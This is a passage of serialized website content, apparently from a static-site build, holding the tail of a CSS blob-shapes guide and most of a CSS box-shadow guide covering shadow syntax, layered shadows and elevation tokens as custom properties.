40%;\n  background: linear-gradient(135deg, #f093fb 0%, #f5576c 100%);\n  filter: blur(0px);\n}\n",[143,46989,46990,46997,47009,47021,47063,47097,47115],{"__ignoreMap":141},[1560,46991,46992,46995],{"class":1562,"line":1563},[1560,46993,46994],{"class":1566},".blob-gradient",[1560,46996,1571],{"class":1570},[1560,46998,46999,47001,47003,47005,47007],{"class":1562,"line":337},[1560,47000,12386],{"class":1576},[1560,47002,1663],{"class":1570},[1560,47004,24703],{"class":1576},[1560,47006,1670],{"class":1669},[1560,47008,2228],{"class":1570},[1560,47010,47011,47013,47015,47017,47019],{"class":1562,"line":343},[1560,47012,12400],{"class":1576},[1560,47014,1663],{"class":1570},[1560,47016,24703],{"class":1576},[1560,47018,1670],{"class":1669},[1560,47020,2228],{"class":1570},[1560,47022,47023,47025,47027,47029,47031,47033,47035,47037,47039,47041,47043,47045,47047,47049,47051,47053,47055,47057,47059,47061],{"class":1562,"line":365},[1560,47024,17294],{"class":1576},[1560,47026,1663],{"class":1570},[1560,47028,18333],{"class":1576},[1560,47030,17990],{"class":1669},[1560,47032,18343],{"class":1576},[1560,47034,17990],{"class":1669},[1560,47036,35504],{"class":1576},[1560,47038,17990],{"class":1669},[1560,47040,35515],{"class":1576},[1560,47042,17990],{"class":1669},[1560,47044,14237],{"class":1570},[1560,47046,18333],{"class":1576},[1560,47048,17990],{"class":1669},[1560,47050,35504],{"class":1576},[1560,47052,17990],{"class":1669},[1560,47054,35515],{"class":1576},[1560,47056,17990],{"class":1669},[1560,47058,18343],{"class":1576},[1560,47060,17990],{"class":1669},[1560,47062,2228],{"class":1570},[1560,47064,47065,47067,47069,47071,47073,47075,47077,47079,47082,47084,47086,47088,47091,47093,47095],{"class":1562,"line":889},[1560,47066,5665],{"class":1576},[1560,47068,1663],{"class":1570},[1560,47070,46356],{"class":1576},[1560,47072,1688],{"class":1570},[1560,47074,46361],{"class":1576},[1560,47076,1694],{"class":1669},[1560,47078,1459],{"class":1570},[1560,47080,47081],{"class":1576},"#f093fb",[1560,47083,13541],{"class":1576},[1560,47085,17990],{"class":1669},[1560,47087,1459],{"class":1570},[1560,47089,47090],{"class":1576},"#f5576c",[1560,47092,35878],{"class":1576},[1560,47094,17990],{"class":1669},[1560,47096,1744],{"class":1570},[1560,47098,47099,47102,47104,47107,47109,47111,47113],{"class":1562,"line":1710},[1560,47100,47101],{"class":1576},"  filter",[1560,47103,1663],{"class":1570},[1560,47105,47106],{"class":1576},"blur",[1560,47108,1688],{"class":1570},[1560,47110,5285],{"class":1576},[1560,47112,1670],{"class":1669},[1560,47114,1744],{"class":1570},[1560,47116,47117],{"class":1562,"line":1717},[1560,47118,1585],{"class":1570},[16,47120,47121],{},"Multi-stop gradients on blobs create a sense of volume and light direction:",[135,47123,47125],{"className":1554,"code":47124,"language":1556,"meta":141,"style":141},".blob-volume {\n  width: 300px;\n  height: 300px;\n  border-radius: 70% 30% 50% 50% \u002F 40% 60% 40% 60%;\n  background:\n    radial-gradient(circle at 30% 30%, rgba(255,255,255,0.3), transparent 50%),\n    linear-gradient(135deg, #4f46e5, #7c3aed);\n}\n",[143,47126,47127,47134,47146,47158,47201,47207,47258,47281],{"__ignoreMap":141},[1560,47128,47129,47132],{"class":1562,"line":1563},[1560,47130,47131],{"class":1566},".blob-volume",[1560,47133,1571],{"class":1570},[1560,47135,47136,47138,47140,47142,47144],{"class":1562,"line":337},[1560,47137,12386],{"class":1576},[1560,47139,1663],{"class":1570},[1560,47141,44009],{"class":1576},[1560,47143,1670],{"class":1669},[1560,47145,2228],{"class":1570},[1560,47147,47148,47150,47152,47154,47156],{"class":1562,"line":343},[1560,47149,12400],{"class":1576},[1560,47151,1663],{"class":1570},[1560,47153,44009],{"class":1576},[1560,47155,1670],{"class":1669},[1560,47157,2228],{"class":1570},[1560,47159,47160,47162,47164,47167,47169,47171,47173,47175,47177,47179,47181,47183,47185,47187,47189,47191,47193,47195,47197,47199],{"class":1562,"line":365},[1560,47161,17294],{"class":1576},[1560,47163,1663],{"class":1570},[1560,47165,47166],{"class":1576},"70",[1560,47168,17990],{"class":1669},[1560,47170,35504],{"class":1576},[1560,47172,17990],{"class":1669},[1560,47174,18318],{"class":1576},[1560,47176,17990],{"class":1669},[1560,47178,18318],{"class":1576},[1560,47180,17990],{"class":1669},[1560,47182,14237],{"class":1570},[1560,47184,18162],{"class":1576},[1560,47186,17990],{"class":1669},[1560,47188,18338],{"class":1576},[1560,47190,17990],{"class":1669},[1560,47192,18343],{"class":1576},[1560,47194,17990],{"class":1669},[1560,47196,18338],{"class":1576},[1560,47198,17990],{"class":1669},[1560,47200,2228],{"class":1570},[1560,47202,47203,47205],{"class":1562,"line":889},[1560,47204,5665],{"class":1576},[1560,47206,19182],{"class":1570},[1560,47208,47209,47212,47214,47216,47219,47221,47223,47225,47227,47229,47231,47233,47235,47237,47239,47241,47243,47245,47247,47249,47252,47254,47256],{"class":1562,"line":1710},[1560,47210,47211],{"class":1576},"    radial-gradient",[1560,47213,1688],{"class":1570},[1560,47215,12295],{"class":1576},[1560,47217,47218],{"class":1669}," at",[1560,47220,35504],{"class":1576},[1560,47222,17990],{"class":1669},[1560,47224,35504],{"class":1576},[1560,47226,17990],{"class":1669},[1560,47228,1459],{"class":1570},[1560,47230,5670],{"class":1576},[1560,47232,1688],{"class":1570},[1560,47234,5400],{"class":1576},[1560,47236,6858],{"class":1570},[1560,47238,5400],{"class":1576},[1560,47240,6858],{"class":1570},[1560,47242,5400],{"class":1576},[1560,47244,6858],{"class":1570},[1560,47246,18724],{"class":1576},[1560,47248,18895],{"class":1570},[1560,47250,47251],{"class":1576},"transparent",[1560,47253,18318],{"class":1576},[1560,47255,17990],{"class":1669},[1560,47257,19216],{"class":1570},[1560,47259,47260,47263,47265,47267,47269,47271,47274,47276,47279],{"class":1562,"line":1717},[1560,47261,47262],{"class":1576},"    linear-gradient",[1560,47264,1688],{"class":1570},[1560,47266,46361],{"class":1576},[1560,47268,1694],{"class":1669},[1560,47270,1459],{"class":1570},[1560,47272,47273],{"class":1576},"#4f46e5",[1560,47275,1459],{"class":1570},[1560,47277,47278],{"class":1576},"#7c3aed",[1560,47280,1744],{"class":1570},[1560,47282,47283],{"class":1562,"line":1747},[1560,47284,1585],{"class":1570},[11,47286,321],{"id":320},[41,47288,47289,47293,47297],{},[44,47290,47291],{},[98,47292,17655],{"href":17654},[44,47294,47295],{},[98,47296,18605],{"href":18604},[44,47298,47299],{},[98,47300,18598],{"href":18597},[11,47302,286],{"id":285},[16,47304,47305],{},"Generate blob shapes visually — drag corner handles, pick gradient colors, and copy the CSS with our interactive border-radius tool.",[16,47307,4531,47308],{},[98,47309,47310],{"href":17643},[47,47311,17644],{},[2043,47313,47314],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":47316},[47317,47318,47321,47327,47330,47335,47336,47337],{"id":45534,"depth":337,"text":45535},{"id":35465,"depth":337,"text":35466,"children":47319},[47320],{"id":45625,"depth":343,"text":45626},{"id":45750,"depth":337,"text":45751,"children":47322},[47323,47324,47325,47326],{"id":45754,"depth":343,"text":45755},{"id":45851,"depth":343,"text":45852},{"id":45949,"depth":343,"text":45950},{"id":46047,"depth":343,"text":46048},{"id":46150,"depth":337,"text":46151,"children":47328},[47329],{"id":46398,"depth":343,"text":46399},{"id":46586,"depth":337,"text":46587,"children":47331},[47332,47333,47334],{"id":46590,"depth":343,"text":46591},{"id":46708,"depth":343,"text":46709},{"id":46810,"depth":343,"text":46811},{"id":46980,"depth":337,"text":46981},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Create organic blob and blob-like shapes using asymmetric border-radius values in CSS.",{"immutable":363},"\u002Fguides\u002Fcss-blob-shapes",{"title":45529,"description":47338},"guides\u002Fcss-blob-shapes","fugrvKTt1yTVfQJ-b5l_cVu-U2tyP7RVnEJyLqBC8y8",{"id":47345,"title":47346,"body":47347,"date":2070,"description":49379,"extension":361,"meta":49380,"navigation":363,"path":20289,"readingTime":1717,"seo":49383,"stem":49384,"__hash__":49385},"guides\u002Fguides\u002Fcss-box-shadow-guide.md","CSS Box Shadow Guide: Creating Depth and Dimension",{"type":8,"value":47348,"toc":49360},[47349,47353,47358,47364,47368,47388,47526,47539,47543,47552,47564,47569,47574,47617,47621,47624,47628,47679,47683,47686,47779,47782,47786,47789,47863,47866,48193,48197,48200,48317,48320,48324,48327,48460,48463,48551,48555,48559,48766,48769,48773,48898,48905,48909,49038,49041,49043,49046,49118,49124,49287,49293,49295,49320,49322,49328,49330,49357],[11,47350,47352],{"id":47351},"what-is-box-shadow","What Is Box Shadow?",[16,47354,31366,47355,47357],{},[143,47356,1880],{}," draws a shadow around an element's bounding box. It simulates elevation and depth without any image assets — a single declaration replaces the drop-shadow PNGs of an earlier era.",[16,47359,47360,47361,47363],{},"Apply ",[143,47362,1880],{}," to cards, buttons, modals, inputs, tooltips, and any element that needs visual separation from the surface behind it.",[11,47365,47367],{"id":47366},"syntax-breakdown","Syntax Breakdown",[135,47369,47371],{"className":1554,"code":47370,"language":1556,"meta":141,"style":141},"box-shadow: h-offset v-offset blur spread color inset;\n",[143,47372,47373],{"__ignoreMap":141},[1560,47374,47375,47377,47379,47382,47385],{"class":1562,"line":1563},[1560,47376,1880],{"class":2484},[1560,47378,1663],{"class":1570},[1560,47380,47381],{"class":2484},"h-offset",[1560,47383,47384],{"class":2484}," v-offset",[1560,47386,47387],{"class":1570}," blur spread color inset;\n",[193,47389,47390,47406],{},[196,47391,47392],{},[199,47393,47394,47396,47398,47401,47404],{},[202,47395,1769],{},[202,47397,2758],{},[202,47399,47400],{},"Required",[202,47402,47403],{},"Default",[202,47405,133],{},[211,47407,47408,47426,47445,47465,47487,47506],{},[199,47409,47410,47414,47417,47419,47421],{},[216,47411,47412],{},[143,47413,47381],{},[216,47415,47416],{},"Horizontal displacement",[216,47418,3057],{},[216,47420,3060],{},[216,47422,47423,47425],{},[143,47424,16757],{}," shifts shadow right",[199,47427,47428,47433,47436,47438,47440],{},[216,47429,47430],{},[143,47431,47432],{},"v-offset",[216,47434,47435],{},"Vertical displacement",[216,47437,3057],{},[216,47439,3060],{},[216,47441,47442,47444],{},[143,47443,16757],{}," shifts shadow down",[199,47446,47447,47451,47454,47456,47460],{},[216,47448,47449],{},[143,47450,47106],{},[216,47452,47453],{},"Edge softness",[216,47455,6117],{},[216,47457,47458],{},[143,47459,5285],{},[216,47461,47462,47464],{},[143,47463,16782],{}," creates a soft edge",[199,47466,47467,47472,47475,47477,47481],{},[216,47468,47469],{},[143,47470,47471],{},"spread",[216,47473,47474],{},"Expand or contract shadow",[216,47476,6117],{},[216,47478,47479],{},[143,47480,5285],{},[216,47482,47483,47486],{},[143,47484,47485],{},"-2px"," shrinks the shadow",[199,47488,47489,47493,47496,47498,47501],{},[216,47490,47491],{},[143,47492,12607],{},[216,47494,47495],{},"Shadow color",[216,47497,6117],{},[216,47499,47500],{},"Browser default",[216,47502,47503],{},[143,47504,47505],{},"rgba(0,0,0,0.15)",[199,47507,47508,47513,47516,47518,47521],{},[216,47509,47510],{},[143,47511,47512],{},"inset",[216,47514,47515],{},"Shadow inside the box",[216,47517,6117],{},[216,47519,47520],{},"outset",[216,47522,47523,47525],{},[143,47524,47512],{}," flips direction",[16,47527,47528,47529,47531,47532,47535,47536,468],{},"Always specify ",[143,47530,12607],{}," with an alpha channel. Opaque black shadows look harsh on colored surfaces. Real shadows carry a tint of the surface underneath — ",[143,47533,47534],{},"rgba(15, 23, 42, 0.2)"," on a dark slate background looks far more natural than ",[143,47537,47538],{},"rgba(0, 0, 0, 0.2)",[11,47540,47542],{"id":47541},"understanding-each-value","Understanding Each Value",[16,47544,47545,47548,47549,47551],{},[47,47546,47547],{},"h-offset and v-offset"," control position. Positive values push the shadow right and down. Negative values pull it left and up. Set both to ",[143,47550,5285],{}," for a centered glow effect.",[16,47553,47554,47556,47557,47559,47560,47563],{},[47,47555,47106],{}," controls softness. A value of ",[143,47558,5285],{}," produces a hard-edged shadow identical in shape to the element. A value of ",[143,47561,47562],{},"20px"," diffuses it into a soft pool.",[16,47565,47566,47568],{},[47,47567,47471],{}," changes size. Positive spread enlarges the shadow beyond the element bounds. Negative spread contracts it — useful for preventing a shadow from extending past container edges.",[16,47570,47571,47573],{},[47,47572,47512],{}," flips the shadow inward. Inset shadows simulate pressed or concave surfaces like active button states and recessed input fields.",[135,47575,47577],{"className":1554,"code":47576,"language":1556,"meta":141,"style":141},"\u002F* Outset shadow — default *\u002F\nbox-shadow: 0 4px 12px rgba(0, 0, 0, 0.15);\n\n\u002F* Inset shadow — pressed effect *\u002F\nbox-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.25);\n",[143,47578,47579,47584,47596,47600,47605],{"__ignoreMap":141},[1560,47580,47581],{"class":1562,"line":1563},[1560,47582,47583],{"class":1649},"\u002F* Outset shadow — default *\u002F\n",[1560,47585,47586,47588,47591,47594],{"class":1562,"line":337},[1560,47587,1880],{"class":2484},[1560,47589,47590],{"class":1570},": 0 4px 12px rgba(0, 0, 0, 0",[1560,47592,47593],{"class":1566},".15",[1560,47595,1744],{"class":1570},[1560,47597,47598],{"class":1562,"line":343},[1560,47599,1702],{"emptyLinePlaceholder":363},[1560,47601,47602],{"class":1562,"line":365},[1560,47603,47604],{"class":1649},"\u002F* Inset shadow — pressed effect *\u002F\n",[1560,47606,47607,47609,47612,47615],{"class":1562,"line":889},[1560,47608,1880],{"class":2484},[1560,47610,47611],{"class":1570},": inset 0 2px 4px rgba(0, 0, 0, 0",[1560,47613,47614],{"class":1566},".25",[1560,47616,1744],{"class":1570},[11,47618,47620],{"id":47619},"single-vs-multiple-shadows","Single vs. Multiple Shadows",[16,47622,47623],{},"A single shadow works for simple elevation. But it often looks artificial — real light produces two zones: a tighter shadow near the object and a softer, wider one farther away.",[11,47625,47627],{"id":47626},"single-shadow","Single Shadow",[135,47629,47631],{"className":1554,"code":47630,"language":1556,"meta":141,"style":141},".card {\n  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);\n}\n",[143,47632,47633,47639,47675],{"__ignoreMap":141},[1560,47634,47635,47637],{"class":1562,"line":1563},[1560,47636,1567],{"class":1566},[1560,47638,1571],{"class":1570},[1560,47640,47641,47643,47645,47647,47649,47651,47653,47655,47657,47659,47661,47663,47665,47667,47669,47671,47673],{"class":1562,"line":337},[1560,47642,18679],{"class":1576},[1560,47644,1663],{"class":1570},[1560,47646,5285],{"class":1576},[1560,47648,13574],{"class":1576},[1560,47650,1670],{"class":1669},[1560,47652,43195],{"class":1576},[1560,47654,1670],{"class":1669},[1560,47656,18694],{"class":1576},[1560,47658,1688],{"class":1570},[1560,47660,5285],{"class":1576},[1560,47662,1459],{"class":1570},[1560,47664,5285],{"class":1576},[1560,47666,1459],{"class":1570},[1560,47668,5285],{"class":1576},[1560,47670,1459],{"class":1570},[1560,47672,46961],{"class":1576},[1560,47674,1744],{"class":1570},[1560,47676,47677],{"class":1562,"line":343},[1560,47678,1585],{"class":1570},[11,47680,47682],{"id":47681},"multiple-shadows-recommended","Multiple Shadows (Recommended)",[16,47684,47685],{},"Separate each shadow with a comma. The browser renders them in order — first shadow sits on top.",[135,47687,47689],{"className":1554,"code":47688,"language":1556,"meta":141,"style":141},".card {\n  box-shadow:\n    0 1px 2px rgba(0, 0, 0, 0.08),   \u002F* tight contact shadow *\u002F\n    0 4px 12px rgba(0, 0, 0, 0.12);   \u002F* soft ambient shadow *\u002F\n}\n",[143,47690,47691,47697,47703,47739,47775],{"__ignoreMap":141},[1560,47692,47693,47695],{"class":1562,"line":1563},[1560,47694,1567],{"class":1566},[1560,47696,1571],{"class":1570},[1560,47698,47699,47701],{"class":1562,"line":337},[1560,47700,18679],{"class":1576},[1560,47702,19182],{"class":1570},[1560,47704,47705,47707,47709,47711,47713,47715,47717,47719,47721,47723,47725,47727,47729,47731,47733,47736],{"class":1562,"line":343},[1560,47706,19187],{"class":1576},[1560,47708,18868],{"class":1576},[1560,47710,1670],{"class":1669},[1560,47712,9426],{"class":1576},[1560,47714,1670],{"class":1669},[1560,47716,18694],{"class":1576},[1560,47718,1688],{"class":1570},[1560,47720,5285],{"class":1576},[1560,47722,1459],{"class":1570},[1560,47724,5285],{"class":1576},[1560,47726,1459],{"class":1570},[1560,47728,5285],{"class":1576},[1560,47730,1459],{"class":1570},[1560,47732,18711],{"class":1576},[1560,47734,47735],{"class":1570},"),   ",[1560,47737,47738],{"class":1649},"\u002F* tight contact shadow *\u002F\n",[1560,47740,47741,47743,47745,47747,47749,47751,47753,47755,47757,47759,47761,47763,47765,47767,47769,47772],{"class":1562,"line":365},[1560,47742,19187],{"class":1576},[1560,47744,13574],{"class":1576},[1560,47746,1670],{"class":1669},[1560,47748,19321],{"class":1576},[1560,47750,1670],{"class":1669},[1560,47752,18694],{"class":1576},[1560,47754,1688],{"class":1570},[1560,47756,5285],{"class":1576},[1560,47758,1459],{"class":1570},[1560,47760,5285],{"class":1576},[1560,47762,1459],{"class":1570},[1560,47764,5285],{"class":1576},[1560,47766,1459],{"class":1570},[1560,47768,18782],{"class":1576},[1560,47770,47771],{"class":1570},");   ",[1560,47773,47774],{"class":1649},"\u002F* soft ambient shadow *\u002F\n",[1560,47776,47777],{"class":1562,"line":889},[1560,47778,1585],{"class":1570},[16,47780,47781],{},"Layering two shadows produces a convincing depth effect. The first defines the immediate contact zone. The second simulates ambient light diffusion.",[11,47783,47785],{"id":47784},"realistic-layered-shadow-patterns","Realistic Layered Shadow Patterns",[16,47787,47788],{},"Material Design popularized the concept of elevation tiers — each level corresponds to a specific shadow configuration. You can build a similar system with five levels:",[193,47790,47791,47802],{},[196,47792,47793],{},[199,47794,47795,47797,47800],{},[202,47796,3291],{},[202,47798,47799],{},"Shadow CSS",[202,47801,1775],{},[211,47803,47804,47815,47827,47839,47851],{},[199,47805,47806,47808,47812],{},[216,47807,5285],{},[216,47809,47810],{},[143,47811,24609],{},[216,47813,47814],{},"Flat resting state",[199,47816,47817,47819,47824],{},[216,47818,3585],{},[216,47820,47821],{},[143,47822,47823],{},"0 1px 2px rgba(0,0,0,0.05)",[216,47825,47826],{},"Subtle card lift",[199,47828,47829,47831,47836],{},[216,47830,10099],{},[216,47832,47833],{},[143,47834,47835],{},"0 2px 4px rgba(0,0,0,0.08), 0 4px 12px rgba(0,0,0,0.06)",[216,47837,47838],{},"Hovered cards",[199,47840,47841,47843,47848],{},[216,47842,17821],{},[216,47844,47845],{},[143,47846,47847],{},"0 4px 8px rgba(0,0,0,0.1), 0 12px 32px rgba(0,0,0,0.08)",[216,47849,47850],{},"Modals, popovers",[199,47852,47853,47855,47860],{},[216,47854,12546],{},[216,47856,47857],{},[143,47858,47859],{},"0 8px 16px rgba(0,0,0,0.15), 0 24px 64px rgba(0,0,0,0.1)",[216,47861,47862],{},"Full-screen overlays",[16,47864,47865],{},"Define these as CSS custom properties so every component references the same scale:",[135,47867,47869],{"className":1554,"code":47868,"language":1556,"meta":141,"style":141},":root {\n  --shadow-0: none;\n  --shadow-1: 0 1px 2px rgba(0, 0, 0, 0.05);\n  --shadow-2: 0 2px 4px rgba(0, 0, 0, 0.08), 0 4px 12px rgba(0, 0, 0, 0.06);\n  --shadow-3: 0 4px 8px rgba(0, 0, 0, 0.1), 0 12px 32px rgba(0, 0, 0, 0.08);\n  --shadow-4: 0 8px 16px rgba(0, 0, 0, 0.15), 0 24px 64px rgba(0, 0, 0, 0.1);\n}\n\n.card { box-shadow: var(--shadow-1); }\n.card:hover { box-shadow: var(--shadow-2); }\n.modal { box-shadow: var(--shadow-3); }\n",[143,47870,47871,47877,47888,47925,47992,48059,48127,48131,48135,48154,48173],{"__ignoreMap":141},[1560,47872,47873,47875],{"class":1562,"line":1563},[1560,47874,2207],{"class":1566},[1560,47876,1571],{"class":1570},[1560,47878,47879,47882,47884,47886],{"class":1562,"line":337},[1560,47880,47881],{"class":2219},"  --shadow-0",[1560,47883,1663],{"class":1570},[1560,47885,24609],{"class":1576},[1560,47887,2228],{"class":1570},[1560,47889,47890,47893,47895,47897,47899,47901,47903,47905,47907,47909,47911,47913,47915,47917,47919,47921,47923],{"class":1562,"line":343},[1560,47891,47892],{"class":2219},"  --shadow-1",[1560,47894,1663],{"class":1570},[1560,47896,5285],{"class":1576},[1560,47898,18868],{"class":1576},[1560,47900,1670],{"class":1669},[1560,47902,9426],{"class":1576},[1560,47904,1670],{"class":1669},[1560,47906,18694],{"class":1576},[1560,47908,1688],{"class":1570},[1560,47910,5285],{"class":1576},[1560,47912,1459],{"class":1570},[1560,47914,5285],{"class":1576},[1560,47916,1459],{"class":1570},[1560,47918,5285],{"class":1576},[1560,47920,1459],{"class":1570},[1560,47922,19138],{"class":1576},[1560,47924,1744],{"class":1570},[1560,47926,47927,47930,47932,47934,47936,47938,47940,47942,47944,47946,47948,47950,47952,47954,47956,47958,47960,47962,47964,47966,47968,47970,47972,47974,47976,47978,47980,47982,47984,47986,47988,47990],{"class":1562,"line":365},[1560,47928,47929],{"class":2219},"  --shadow-2",[1560,47931,1663],{"class":1570},[1560,47933,5285],{"class":1576},[1560,47935,9426],{"class":1576},[1560,47937,1670],{"class":1669},[1560,47939,13574],{"class":1576},[1560,47941,1670],{"class":1669},[1560,47943,18694],{"class":1576},[1560,47945,1688],{"class":1570},[1560,47947,5285],{"class":1576},[1560,47949,1459],{"class":1570},[1560,47951,5285],{"class":1576},[1560,47953,1459],{"class":1570},[1560,47955,5285],{"class":1576},[1560,47957,1459],{"class":1570},[1560,47959,18711],{"class":1576},[1560,47961,18895],{"class":1570},[1560,47963,5285],{"class":1576},[1560,47965,13574],{"class":1576},[1560,47967,1670],{"class":1669},[1560,47969,19321],{"class":1576},[1560,47971,1670],{"class":1669},[1560,47973,18694],{"class":1576},[1560,47975,1688],{"class":1570},[1560,47977,5285],{"class":1576},[1560,47979,1459],{"class":1570},[1560,47981,5285],{"class":1576},[1560,47983,1459],{"class":1570},[1560,47985,5285],{"class":1576},[1560,47987,1459],{"class":1570},[1560,47989,18924],{"class":1576},[1560,47991,1744],{"class":1570},[1560,47993,47994,47997,47999,48001,48003,48005,48007,48009,48011,48013,48015,48017,48019,48021,48023,48025,48027,48029,48031,48033,48035,48037,48039,48041,48043,48045,48047,48049,48051,48053,48055,48057],{"class":1562,"line":889},[1560,47995,47996],{"class":2219},"  --shadow-3",[1560,47998,1663],{"class":1570},[1560,48000,5285],{"class":1576},[1560,48002,13574],{"class":1576},[1560,48004,1670],{"class":1669},[1560,48006,13490],{"class":1576},[1560,48008,1670],{"class":1669},[1560,48010,18694],{"class":1576},[1560,48012,1688],{"class":1570},[1560,48014,5285],{"class":1576},[1560,48016,1459],{"class":1570},[1560,48018,5285],{"class":1576},[1560,48020,1459],{"class":1570},[1560,48022,5285],{"class":1576},[1560,48024,1459],{"class":1570},[1560,48026,46961],{"class":1576},[1560,48028,18895],{"class":1570},[1560,48030,5285],{"class":1576},[1560,48032,19321],{"class":1576},[1560,48034,1670],{"class":1669},[1560,48036,42731],{"class":1576},[1560,48038,1670],{"class":1669},[1560,48040,18694],{"class":1576},[1560,48042,1688],{"class":1570},[1560,48044,5285],{"class":1576},[1560,48046,1459],{"class":1570},[1560,48048,5285],{"class":1576},[1560,48050,1459],{"class":1570},[1560,48052,5285],{"class":1576},[1560,48054,1459],{"class":1570},[1560,48056,18711],{"class":1576},[1560,48058,1744],{"class":1570},[1560,48060,48061,48064,48066,48068,48070,48072,48074,48076,48078,48080,48082,48084,48086,48088,48090,48092,48094,48096,48098,48100,48102,48105,48107,48109,48111,48113,48115,48117,48119,48121,48123,48125],{"class":1562,"line":1710},[1560,48062,48063],{"class":2219},"  --shadow-4",[1560,48065,1663],{"class":1570},[1560,48067,5285],{"class":1576},[1560,48069,13490],{"class":1576},[1560,48071,1670],{"class":1669},[1560,48073,19024],{"class":1576},[1560,48075,1670],{"class":1669},[1560,48077,18694],{"class":1576},[1560,48079,1688],{"class":1570},[1560,48081,5285],{"class":1576},[1560,48083,1459],{"class":1570},[1560,48085,5285],{"class":1576},[1560,48087,1459],{"class":1570},[1560,48089,5285],{"class":1576},[1560,48091,1459],{"class":1570},[1560,48093,19693],{"class":1576},[1560,48095,18895],{"class":1570},[1560,48097,5285],{"class":1576},[1560,48099,18193],{"class":1576},[1560,48101,1670],{"class":1669},[1560,48103,48104],{"class":1576}," 64",[1560,48106,1670],{"class":1669},[1560,48108,18694],{"class":1576},[1560,48110,1688],{"class":1570},[1560,48112,5285],{"class":1576},[1560,48114,1459],{"class":1570},[1560,48116,5285],{"class":1576},[1560,48118,1459],{"class":1570},[1560,48120,5285],{"class":1576},[1560,48122,1459],{"class":1570},[1560,48124,46961],{"class":1576},[1560,48126,1744],{"class":1570},[1560,48128,48129],{"class":1562,"line":1717},[1560,48130,1585],{"class":1570},[1560,48132,48133],{"class":1562,"line":1747},[1560,48134,1702],{"emptyLinePlaceholder":363},[1560,48136,48137,48139,48141,48143,48145,48147,48149,48152],{"class":1562,"line":2507},[1560,48138,1567],{"class":1566},[1560,48140,1658],{"class":1570},[1560,48142,1880],{"class":1576},[1560,48144,1663],{"class":1570},[1560,48146,2497],{"class":1576},[1560,48148,1688],{"class":1570},[1560,48150,48151],{"class":2219},"--shadow-1",[1560,48153,1697],{"class":1570},[1560,48155,48156,48158,48160,48162,48164,48166,48168,48171],{"class":1562,"line":2524},[1560,48157,18745],{"class":1566},[1560,48159,1658],{"class":1570},[1560,48161,1880],{"class":1576},[1560,48163,1663],{"class":1570},[1560,48165,2497],{"class":1576},[1560,48167,1688],{"class":1570},[1560,48169,48170],{"class":2219},"--shadow-2",[1560,48172,1697],{"class":1570},[1560,48174,48175,48178,48180,48182,48184,48186,48188,48191],{"class":1562,"line":2529},[1560,48176,48177],{"class":1566},".modal",[1560,48179,1658],{"class":1570},[1560,48181,1880],{"class":1576},[1560,48183,1663],{"class":1570},[1560,48185,2497],{"class":1576},[1560,48187,1688],{"class":1570},[1560,48189,48190],{"class":2219},"--shadow-3",[1560,48192,1697],{"class":1570},[11,48194,48196],{"id":48195},"three-layer-realism","Three-Layer Realism",[16,48198,48199],{},"For maximum control over the sharp-to-soft transition, use three layers:",[135,48201,48203],{"className":1554,"code":48202,"language":1556,"meta":141,"style":141},".card {\n  box-shadow:\n    0 1px 2px rgba(0, 0, 0, 0.06),\n    0 4px 8px rgba(0, 0, 0, 0.08),\n    0 12px 32px rgba(0, 0, 0, 0.10);\n}\n",[143,48204,48205,48211,48217,48249,48281,48313],{"__ignoreMap":141},[1560,48206,48207,48209],{"class":1562,"line":1563},[1560,48208,1567],{"class":1566},[1560,48210,1571],{"class":1570},[1560,48212,48213,48215],{"class":1562,"line":337},[1560,48214,18679],{"class":1576},[1560,48216,19182],{"class":1570},[1560,48218,48219,48221,48223,48225,48227,48229,48231,48233,48235,48237,48239,48241,48243,48245,48247],{"class":1562,"line":343},[1560,48220,19187],{"class":1576},[1560,48222,18868],{"class":1576},[1560,48224,1670],{"class":1669},[1560,48226,9426],{"class":1576},[1560,48228,1670],{"class":1669},[1560,48230,18694],{"class":1576},[1560,48232,1688],{"class":1570},[1560,48234,5285],{"class":1576},[1560,48236,1459],{"class":1570},[1560,48238,5285],{"class":1576},[1560,48240,1459],{"class":1570},[1560,48242,5285],{"class":1576},[1560,48244,1459],{"class":1570},[1560,48246,18924],{"class":1576},[1560,48248,19216],{"class":1570},[1560,48250,48251,48253,48255,48257,48259,48261,48263,48265,48267,48269,48271,48273,48275,48277,48279],{"class":1562,"line":365},[1560,48252,19187],{"class":1576},[1560,48254,13574],{"class":1576},[1560,48256,1670],{"class":1669},[1560,48258,13490],{"class":1576},[1560,48260,1670],{"class":1669},[1560,48262,18694],{"class":1576},[1560,48264,1688],{"class":1570},[1560,48266,5285],{"class":1576},[1560,48268,1459],{"class":1570},[1560,48270,5285],{"class":1576},[1560,48272,1459],{"class":1570},[1560,48274,5285],{"class":1576},[1560,48276,1459],{"class":1570},[1560,48278,18711],{"class":1576},[1560,48280,19216],{"class":1570},[1560,48282,48283,48285,48287,48289,48291,48293,48295,48297,